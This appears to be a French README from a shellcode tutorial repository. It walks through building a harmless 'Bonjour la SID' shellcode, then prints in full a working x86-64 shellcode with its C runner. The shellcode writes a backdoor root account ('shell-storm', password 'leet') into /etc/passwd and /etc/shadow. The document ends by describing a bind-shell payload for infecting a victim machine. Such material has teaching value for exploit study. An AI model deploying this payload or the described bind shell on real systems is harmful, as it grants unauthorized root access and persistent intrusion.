Shellcode

Réalisation d'un shellcode sur Centos 7 et réalisation d'un payload bind_shell_tcp utilisant un shellcode qui sera exécuté dans un jar (Java).

Scripts

La repository contient trois scripts permettant d'automatiser chaque processus (vous avez juste a lancer le script). Le troisième script nécessite l'utilisation de la distribution Linux Kali.

Prérequis

Les différentes commandes sont nécessaires :

- nasm
- ld
- objdump
- gcc

Installation de différents package :

```
yum install nasm
yum install gcc
```

Premier exploit - utilisation manuelle

Création du shellcode

Créer un fichier ".asm" avec le code assembleur. Pour exemple, le code d'un fichier hello.asm permettant d'afficher "Bonjour la SID" :

```
[SECTION .text]

global _start

_start:

        jmp short ender
```

```
        starter:

        xor eax, eax    ;clean up the registers
        xor ebx, ebx
        xor edx, edx
        xor ecx, ecx

        mov al, 4       ;syscall write
        mov bl, 1       ;stdout is 1
        pop ecx         ;get the address of the string from the stack
        mov dl, 14      ;length of the string
        int 0x80

        xor eax, eax
        mov al, 1       ;exit the shellcode
        xor ebx,ebx
        int 0x80

        ender:
        call starter  ;put the address of the string on the stack
        db 'Bonjour la SID'
```

Compiler et créer un exécutable :

```
nasm -f elf hello.asm
ld -m elf_i386 -s -o hello hello.o
```

Obtenir le code hexadécimal :

```
objdump -d hello|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-
6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d
'' -s |sed 's/^/"/'|sed 's/$/"/g'
```

On obtient le code suivant :

```
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9\xb0\x04\xb3\x01\x59\xb2\x0e
\xcd\x80\x31\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff\xff\xff\x42\x6f\
x6e\x6a\x6f\x75\x72\x20\x6c\x61\x20\x53\x49\x44"
```

On utilise ce code dans le fichier hello.c (un script c) :

```
char code[] =
"\xeb\x19\x31\xc0\x31\xdb\x31\xd2\x31\xc9"
"\xb0\x04\xb3\x01\x59\xb2\x0e\xcd\x80\x31"
"\xc0\xb0\x01\x31\xdb\xcd\x80\xe8\xe2\xff"
"\xff\xff\x42\x6f\x6e\x6a\x6f\x75\x72\x20"
"\x6c\x61\x20\x53\x49\x44";

int main(int argc, char **argv)
{
        int (*func)(); // déclare un pointeur de fonction pour une
fonction, arguments non spécifiés et retourne un int
        func = (int (*)()) code; // initialise le pointer en le
faisant pointer sur code
        (int)(*func)(); // appel de fonction
}
```

On compile le code :

```
gcc -fno-stack-protector -z execstack hello.c
```

On obtient donc un fichier "a.out" que l'on peut exécuter :

```
./a.out
```

On obtient le résultat suivant :

```
Bonjour la SID#
```

Lancement du script

Le script hello-exploit.sh exécute automatiquement toutes ces étapes :

```
./hello-exploit.sh
```

Deuxième exploit - ajouter un utilisateur root

Création manuelle

Créer un fichier adduser.c contenant le shellcode :

```
vim adduser.c
```

```
/*
Title:  Linux/x86-64 - Add root user with password - 390 bytes
Date:   2010-06-20
Tested: Archlinux x86_64 k2.6.33

Author: Jonathan Salwan
Web:    http://shell-storm.org | http://twitter.com/jonathansalwan

! Dtabase of shellcodes http://www.shell-storm.org/shellcode/



Add root user with password:
                            - User: shell-storm
                            - Pass: leet
                            - id  : 0
*/

#include <stdio.h>


    char *SC =
                        /* open("/etc/passwd",
O_WRONLY|O_CREAT|O_APPEND, 01204) */

                        "\x48\xbb\xff\xff\xff\xff\xff\x73\x77\x64"
    /* mov    $0x647773ffffffffff,%rbx */
                        "\x48\xc1\xeb\x28"
    /* shr    $0x28,%rbx */
                        "\x53"
    /* push   %rbx */
                        "\x48\xbb\x2f\x65\x74\x63\x2f\x70\x61\x73"
    /* mov    $0x7361702f6374652f,%rbx */
                        "\x53"
    /* push   %rbx */
                        "\x48\x89\xe7"
    /* mov    %rsp,%rdi */
                        "\x66\xbe\x41\x04"
    /* mov    $0x441,%si */
                        "\x66\xba\x84\x02"
    /* mov    $0x284,%dx */
                        "\x48\x31\xc0"
    /* xor    %rax,%rax */
                        "\xb0\x02"
    /* mov    $0x2,%al */
                        "\x0f\x05"
    /* syscall */
```

```
                        /* write(3, "shell-storm:x:0:0:shell-
storm.or"..., 46) */

                        "\x48\xbf\xff\xff\xff\xff\xff\xff\x03"
    /* mov    $0x3fffffffffffff,%rdi */
                        "\x48\xc1\xef\x38"
    /* shr    $0x38,%rdi */
                        "\x48\xbb\xff\xff\x2f\x62\x61\x73\x68\x0a"
    /* mov    $0xa687361622fffff,%rbx */
                        "\x48\xc1\xeb\x10"
    /* shr    $0x10,%rbx */
                        "\x53"
    /* push   %rbx */
                        "\x48\xbb\x67\x3a\x2f\x3a\x2f\x62\x69\x6e"
    /* mov    $0x6e69622f3a2f3a67,%rbx */
                        "\x53"
    /* push   %rbx */
                        "\x48\xbb\x73\x74\x6f\x72\x6d\x2e\x6f\x72"
    /* mov    $0x726f2e6d726f7473,%rbx */
                        "\x53"
    /* push   %rbx */
                        "\x48\xbb\x30\x3a\x73\x68\x65\x6c\x6c\x2d"
    /* mov    $0x2d6c6c6568733a30,%rbx */
                        "\x53"
    /* push   %rbx */
                        "\x48\xbb\x6f\x72\x6d\x3a\x78\x3a\x30\x3a"
    /* mov    $0x3a303a783a6d726f,%rbx */
                        "\x53"
    /* push   %rbx */
                        "\x48\xbb\x73\x68\x65\x6c\x6c\x2d\x73\x74"
    /* mov    $0x74732d6c6c656873,%rbx */
                        "\x53"
    /* push   %rbx */
                        "\x48\x89\xe6"
    /* mov    %rsp,%rsi */
                        "\x48\xba\xff\xff\xff\xff\xff\xff\xff\x2e"
    /* mov    $0x2effffffffffffff,%rdx */
                        "\x48\xc1\xea\x38"
    /* shr    $0x38,%rdx */
                        "\x48\x31\xc0"
    /* xor    %rax,%rax */
                        "\xb0\x01"
    /* mov    $0x1,%al */
                        "\x0f\x05"
    /* syscall */

                        /* close(3) */
```

```
                        "\x48\xbf\xff\xff\xff\xff\xff\xff\xff\x03"
    /* mov    $0x3fffffffffffff,%rdi */
                        "\x48\xc1\xef\x38"
    /* shr    $0x38,%rdi */
                        "\x48\x31\xc0"
    /* xor    %rax,%rax */
                        "\xb0\x03"
    /* mov    $0x3,%al */
                        "\x0f\x05"
    /* syscall */

                        /* Xor */

                        "\x48\x31\xdb"
    /* xor    %rbx,%rbx */
                        "\x48\x31\xff"
    /* xor    %rdi,%rdi */
                        "\x48\x31\xf6"
    /* xor    %rsi,%rsi */
                        "\x48\x31\xd2"
    /* xor    %rdx,%rdx */

                        /* open("/etc/shadow",
O_WRONLY|O_CREAT|O_APPEND, 01204) */

                        "\x48\xbb\xff\xff\xff\xff\xff\x64\x6f\x77"
    /* mov    $0x776f64ffffffffff,%rbx */
                        "\x48\xc1\xeb\x28"
    /* shr    $0x28,%rbx */
                        "\x53"
    /* push   %rbx */
                        "\x48\xbb\x2f\x65\x74\x63\x2f\x73\x68\x61"
    /* mov    $0x6168732f6374652f,%rbx  */
                        "\x53"
    /* push   %rbx */
                        "\x48\x89\xe7"
    /* mov    %rsp,%rdi */
                        "\x66\xbe\x41\x04"
    /* mov    $0x441,%si */
                        "\x66\xba\x84\x02"
    /* mov    $0x284,%dx */
                        "\x48\x31\xc0"
    /* xor    %rax,%rax */
                        "\xb0\x02"
    /* mov    $0x2,%al */
                        "\x0f\x05"
    /* syscall *
```

```
                        /* write(3, "shell-
storm:$1$reWE7GM1$axeMg6LT"..., 59) */

                        "\x48\xbf\xff\xff\xff\xff\xff\xff\x03"
    /* mov    $0x3fffffffffffff,%rdi */
                        "\x48\xc1\xef\x38"
    /* shr    $0x38,%rdi */
                        "\x48\xbb\xff\xff\xff\xff\xff\x3a\x3a\x0a"
    /* mov    $0xa3a3afffffffff,%rbx */
                        "\x48\xc1\xeb\x28"
    /* shr    $0x28,%rbx */
                        "\x53"
    /* push   %rbx */
                        "\x48\xbb\x34\x37\x37\x38\x3a\x3a\x3a\x3a"
    /* mov    $0x3a3a3a3a38373734,%rbx */
                        "\x53"
    /* push   %rbx */
                        "\x48\xbb\x5a\x30\x55\x33\x4d\x2f\x3a\x31"
    /* mov    $0x313a2f4d3355305a,%rbx */
                        "\x53"
    /* push   %rbx */
                        "\x48\xbb\x73\x2f\x50\x64\x53\x67\x63\x46"
    /* mov    $0x4663675364502f73,%rbx */
                        "\x53"
    /* push   %rbx */
                        "\x48\xbb\x61\x78\x65\x4d\x67\x36\x4c\x54"
    /* mov    $0x544c36674d657861,%rbx */
                        "\x53"
    /* push   %rbx */
                        "\x48\xbb\x65\x57\x45\x37\x47\x4d\x31\x24"
    /* mov    $0x24314d4737455765,%rbx */
                        "\x53"
    /* push   %rbx */
                        "\x48\xbb\x6f\x72\x6d\x3a\x24\x31\x24\x72"
    /* mov    $0x722431243a6d726f,%rbx  */
                        "\x53"
    /* push   %rbx */
                        "\x48\xbb\x73\x68\x65\x6c\x6c\x2d\x73\x74"
    /* mov    $0x74732d6c6c656873,%rbx */
                        "\x53"
    /* push   %rbx */
                        "\x48\x89\xe6"
    /* mov    %rsp,%rsi */
                        "\x48\xba\xff\xff\xff\xff\xff\xff\x3b"
    /* mov    $0x3bffffffffffff,%rdx */
                        "\x48\xc1\xea\x38"
    /* shr    $0x38,%rdx */
                        "\x48\x31\xc0"
    /* xor    %rax,%rax */
```

```
                        "\xb0\x01"
    /* mov    $0x1,%al */
                        "\x0f\x05"
    /* syscall */

                        /* close(3) */

                        "\x48\xbf\xff\xff\xff\xff\xff\xff\xff\x03"
    /* mov    $0x3fffffffffffff,%rdi */
                        "\x48\xc1\xef\x38"
    /* shr    $0x38,%rdi */
                        "\x48\x31\xc0"
    /* xor    %rax,%rax */
                        "\xb0\x03"
    /* mov    $0x3,%al */
                        "\x0f\x05"
    /* syscall */

                        /* _exit(0) */

                        "\x48\x31\xff"
    /* xor    %rdi,%rdi */
                        "\x48\x31\xc0"
    /* xor    %rax,%rax */
                        "\xb0\x3c"
    /* mov    $0x3c,%al */
                        "\x0f\x05";
   /* syscall */

int main(void)
{
        fprintf(stdout,"Length: %d\n",strlen(SC));
        (*(void(*)()) SC)();
return 0;
}
````

On compile le code :

```bash
gcc -fno-stack-protector -z execstack adduser.c
```

On obtient donc un fichier "a.out" que l'on peut exécuter :

```
./a.out
```

On a alors ajouté l'utilisateur "shell-storm" avec le mot de passe "leet"

Execution avec le script

Le script root-exploit.sh exécute automatiquement toutes ces étapes :

```
./hello-exploit.sh
```

Dernier exploit - exploit complet avec un shell binded

Le dernier exploit requiert l'utilisation de Kali Linux et d'une GUI, le script sert uniquement à créer le payload pour infecter la machine victime.